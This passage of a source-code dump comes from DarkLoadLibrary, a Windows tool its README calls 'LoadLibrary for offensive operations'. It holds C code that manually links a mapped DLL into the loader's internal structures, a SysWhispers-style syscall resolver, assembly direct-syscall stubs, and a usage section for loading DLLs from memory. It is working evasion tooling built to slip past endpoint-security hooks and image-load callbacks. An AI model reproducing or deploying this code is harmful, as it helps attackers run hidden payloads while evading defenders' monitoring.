pNtHeaders->OptionalHeader.ImageBase; 757 | 758 | // set the hash value 759 | pLdrEntry->BaseNameHashValue = LdrHashEntry( 760 | BaseDllName, 761 | FALSE 762 | ); 763 | 764 | // correctly add the base address to the entry 765 | AddBaseAddressEntry( 766 | pLdrEntry, 767 | (PVOID)pdModule->ModuleBase 768 | ); 769 | 770 | // and the rest 771 | pLdrEntry->ImageDll = TRUE; 772 | pLdrEntry->LoadNotificationsSent = TRUE; // lol 773 | pLdrEntry->EntryProcessed = TRUE; 774 | pLdrEntry->InLegacyLists = TRUE; 775 | pLdrEntry->InIndexes = TRUE; 776 | pLdrEntry->ProcessAttachCalled = TRUE; 777 | pLdrEntry->InExceptionTable = FALSE; 778 | pLdrEntry->DllBase = (PVOID)pdModule->ModuleBase; 779 | pLdrEntry->SizeOfImage = pNtHeaders->OptionalHeader.SizeOfImage; 780 | pLdrEntry->TimeDateStamp = pNtHeaders->FileHeader.TimeDateStamp; 781 | pLdrEntry->BaseDllName = BaseDllName; 782 | pLdrEntry->FullDllName = FullDllName; 783 | pLdrEntry->ObsoleteLoadCount = 1; 784 | pLdrEntry->Flags = LDRP_IMAGE_DLL | LDRP_ENTRY_INSERTED | LDRP_ENTRY_PROCESSED | LDRP_PROCESS_ATTACH_CALLED; 785 | 786 | // set the correct values in the Ddag node struct 787 | pLdrEntry->DdagNode = (PLDR_DDAG_NODE)pHeapAlloc( 788 | pGetProcessHeap(), 789 | HEAP_ZERO_MEMORY, 790 | sizeof(LDR_DDAG_NODE) 791 | ); 792 | 793 | if (!pLdrEntry->DdagNode) 794 | { 795 | return 0; 796 | } 797 | 798 | pLdrEntry->NodeModuleLink.Flink = &pLdrEntry->DdagNode->Modules; 799 | pLdrEntry->NodeModuleLink.Blink = &pLdrEntry->DdagNode->Modules; 800 | pLdrEntry->DdagNode->Modules.Flink = &pLdrEntry->NodeModuleLink; 801 | pLdrEntry->DdagNode->Modules.Blink = &pLdrEntry->NodeModuleLink; 802 | pLdrEntry->DdagNode->State = LdrModulesReadyToRun; 803 | pLdrEntry->DdagNode->LoadCount = 1; 804 | 805 | // add the hash to the LdrpHashTable 806 | AddHashTableEntry( 807 | pLdrEntry 808 | ); 809 | 810 | // set the entry point 811 | pLdrEntry->EntryPoint = RVA( 812 | PVOID, 813 | pdModule->ModuleBase, 814 | pNtHeaders->OptionalHeader.AddressOfEntryPoint 815 | ); 816 | 817 | return TRUE; 818 | } -------------------------------------------------------------------------------- /DarkLoadLibrary/src/syscalls.c: -------------------------------------------------------------------------------- 1 | #include "syscalls.h" 2 | 3 | // Code below is adapted from @modexpblog. Read linked article for more details. 4 | // https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams 5 | 6 | SW2_SYSCALL_LIST SW2_SyscallList; 7 | 8 | DWORD SW2_HashSyscall(PCSTR FunctionName) 9 | { 10 | DWORD i = 0; 11 | DWORD Hash = SW2_SEED; 12 | 13 | while (FunctionName[i]) 14 | { 15 | WORD PartialName = *(WORD*)((ULONG64)FunctionName + i++); 16 | Hash ^= PartialName + SW2_ROR8(Hash); 17 | } 18 | 19 | return Hash; 20 | } 21 | 22 | BOOL SW2_PopulateSyscallList() 23 | { 24 | // Return early if the list is already populated. 25 | if (SW2_SyscallList.Count) return TRUE; 26 | 27 | PSW2_PEB Peb = (PSW2_PEB)__readgsqword(0x60); 28 | PSW2_PEB_LDR_DATA Ldr = Peb->Ldr; 29 | PIMAGE_EXPORT_DIRECTORY ExportDirectory = NULL; 30 | PVOID DllBase = NULL; 31 | 32 | // Get the DllBase address of NTDLL.dll. NTDLL is not guaranteed to be the second 33 | // in the list, so it's safer to loop through the full list and find it. 34 | PSW2_LDR_DATA_TABLE_ENTRY LdrEntry; 35 | for (LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)Ldr->Reserved2[1]; LdrEntry->DllBase != NULL; LdrEntry = (PSW2_LDR_DATA_TABLE_ENTRY)LdrEntry->Reserved1[0]) 36 | { 37 | DllBase = LdrEntry->DllBase; 38 | PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)DllBase; 39 | PIMAGE_NT_HEADERS NtHeaders = SW2_RVA2VA(PIMAGE_NT_HEADERS, DllBase, DosHeader->e_lfanew); 40 | PIMAGE_DATA_DIRECTORY DataDirectory = (PIMAGE_DATA_DIRECTORY)NtHeaders->OptionalHeader.DataDirectory; 41 | DWORD VirtualAddress = DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress; 42 | if (VirtualAddress == 0) continue; 43 | 44 | ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)SW2_RVA2VA(ULONG_PTR, DllBase, VirtualAddress); 45 | 46 | // If this is NTDLL.dll, exit loop. 47 | PCHAR DllName = SW2_RVA2VA(PCHAR, DllBase, ExportDirectory->Name); 48 | 49 | if ((*(ULONG*)DllName | 0x20202020) != 'ldtn') continue; 50 | if ((*(ULONG*)(DllName + 4) | 0x20202020) == 'ld.l') break; 51 | } 52 | 53 | if (!ExportDirectory) return FALSE; 54 | 55 | DWORD NumberOfNames = ExportDirectory->NumberOfNames; 56 | PDWORD Functions = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfFunctions); 57 | PDWORD Names = SW2_RVA2VA(PDWORD, DllBase, ExportDirectory->AddressOfNames); 58 | PWORD Ordinals = SW2_RVA2VA(PWORD, DllBase, ExportDirectory->AddressOfNameOrdinals); 59 | 60 | // Populate SW2_SyscallList with unsorted Zw* entries. 61 | DWORD i = 0; 62 | PSW2_SYSCALL_ENTRY Entries = SW2_SyscallList.Entries; 63 | do 64 | { 65 | PCHAR FunctionName = SW2_RVA2VA(PCHAR, DllBase, Names[NumberOfNames - 1]); 66 | 67 | // Is this a system call? 68 | if (*(USHORT*)FunctionName == 'wZ') 69 | { 70 | Entries[i].Hash = SW2_HashSyscall(FunctionName); 71 | Entries[i].Address = Functions[Ordinals[NumberOfNames - 1]]; 72 | 73 | i++; 74 | if (i == SW2_MAX_ENTRIES) break; 75 | } 76 | } while (--NumberOfNames); 77 | 78 | // Save total number of system calls found. 79 | SW2_SyscallList.Count = i; 80 | 81 | // Sort the list by address in ascending order. 82 | for (DWORD i = 0; i < SW2_SyscallList.Count - 1; i++) 83 | { 84 | for (DWORD j = 0; j < SW2_SyscallList.Count - i - 1; j++) 85 | { 86 | if (Entries[j].Address > Entries[j + 1].Address) 87 | { 88 | // Swap entries. 89 | SW2_SYSCALL_ENTRY TempEntry; 90 | 91 | TempEntry.Hash = Entries[j].Hash; 92 | TempEntry.Address = Entries[j].Address; 93 | 94 | Entries[j].Hash = Entries[j + 1].Hash; 95 | Entries[j].Address = Entries[j + 1].Address; 96 | 97 | Entries[j + 1].Hash = TempEntry.Hash; 98 | Entries[j + 1].Address = TempEntry.Address; 99 | } 100 | } 101 | } 102 | 103 | return TRUE; 104 | } 105 | 106 | EXTERN_C DWORD SW2_GetSyscallNumber(DWORD FunctionHash) 107 | { 108 | // Ensure SW2_SyscallList is populated. 109 | if (!SW2_PopulateSyscallList()) return -1; 110 | 111 | for (DWORD i = 0; i < SW2_SyscallList.Count; i++) 112 | { 113 | if (FunctionHash == SW2_SyscallList.Entries[i].Hash) 114 | { 115 | return i; 116 | } 117 | } 118 | 119 | return -1; 120 | } 121 | -------------------------------------------------------------------------------- /DarkLoadLibrary/src/syscallsstubs.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | EXTERN SW2_GetSyscallNumber: PROC 4 | 5 | NtProtectVirtualMemory PROC 6 | mov [rsp +8], rcx ; Save registers. 7 | mov [rsp+16], rdx 8 | mov [rsp+24], r8 9 | mov [rsp+32], r9 10 | sub rsp, 28h 11 | mov ecx, 0079D1B09h ; Load function hash into ECX. 12 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number. 13 | add rsp, 28h 14 | mov rcx, [rsp +8] ; Restore registers. 15 | mov rdx, [rsp+16] 16 | mov r8, [rsp+24] 17 | mov r9, [rsp+32] 18 | mov r10, rcx 19 | syscall ; Invoke system call. 20 | ret 21 | NtProtectVirtualMemory ENDP 22 | 23 | NtAllocateVirtualMemory PROC 24 | mov [rsp +8], rcx ; Save registers. 25 | mov [rsp+16], rdx 26 | mov [rsp+24], r8 27 | mov [rsp+32], r9 28 | sub rsp, 28h 29 | mov ecx, 00B9D010Fh ; Load function hash into ECX. 30 | call SW2_GetSyscallNumber ; Resolve function hash into syscall number. 31 | add rsp, 28h 32 | mov rcx, [rsp +8] ; Restore registers. 33 | mov rdx, [rsp+16] 34 | mov r8, [rsp+24] 35 | mov r9, [rsp+32] 36 | mov r10, rcx 37 | syscall ; Invoke system call. 38 | ret 39 | NtAllocateVirtualMemory ENDP 40 | 41 | end -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DarkLoadLibrary 2 | 3 | `LoadLibrary` for offensive operations. 4 | 5 | ### How does it work? 6 | 7 | https://www.mdsec.co.uk/2021/06/bypassing-image-load-kernel-callbacks/ 8 | 9 | ### Usage 10 | 11 | ```C 12 | DARKMODULE DarkModule = DarkLoadLibrary( 13 | LOAD_LOCAL_FILE, // control flags 14 | L"TestDLL.dll", // local dll path, if loading from disk 15 | NULL, // dll buffer to load from if loading from memory 16 | 0, // dll size if loading from memory 17 | NULL // dll name if loaded from memory 18 | ); 19 | ``` 20 | 21 | #### Control Flags: 22 | - LOAD_LOCAL_FILE - Load a DLL from the file system. 23 | - LOAD_MEMORY - Load a DLL from a buffer. 24 | - NO_LINK - Don't link this module to the PEB, just execute it. 25 | 26 | #### DLL Path: 27 | 28 | This can be any path that `CreateFileW` will open. 29 | 30 | ### DLL Buffer: 31 | 32 | This argument is only needed when `LOAD_MEMORY` is set. In that case this argument should be the buffer containing the DLL. 33 | 34 | #### DLL Size: 35 | 36 | This argument is only needed when `LOAD_MEMORY` is set. In that case this argument should be the size of the buffer containing the DLL. 37 | 38 | #### DLL Name: 39 | 40 | This argument is only needed when `LOAD_MEMORY` is set. In that case this argument should be the name which the DLL should be set in the PEB under. 41 | 42 | ### Considerations 43 | 44 | The windows loader is very complex and can handle all the edge case's and intricacies of loading DLLs. There are going to be edge case's which I have not had the time to discover, reverse engineer and implement. So there's going to be DLLs that this loader simply will not work with. 45 | 46 | That being said I plan on making this loader as complete as possible, so please open issue's for DLLs that are not correctly loaded. 47 | --------------------------------------------------------------------------------